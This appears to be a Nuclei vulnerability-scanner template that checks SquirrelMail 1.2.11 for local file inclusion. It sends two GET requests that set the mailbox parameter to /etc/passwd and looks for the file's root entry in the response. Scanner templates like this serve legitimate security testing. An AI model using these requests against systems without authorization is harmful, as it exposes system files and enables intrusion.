id: squirrelmail-lfi

info:
  name: SquirrelMail 1.2.11 - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: SquirrelMail 1.2.11 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/22793
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 2
  tags: lfi,squirrelmail,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/src/read_body.php?mailbox=/etc/passwd&passed_id=1&"
      - "{{BaseURL}}/src/download.php?absolute_dl=true&passed_id=1&passed_ent_id=1&mailbox=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fad6c5c7cd739b00639449d78d033e3767010595ae16c5e9d2dbe35b90dcbbec022100f8fabf6618feb74aa1b0d316ba14aa2e0f8906568fd3bc0028e7b2c1e490cedf:922c64590222798bb761d5b6d8e72950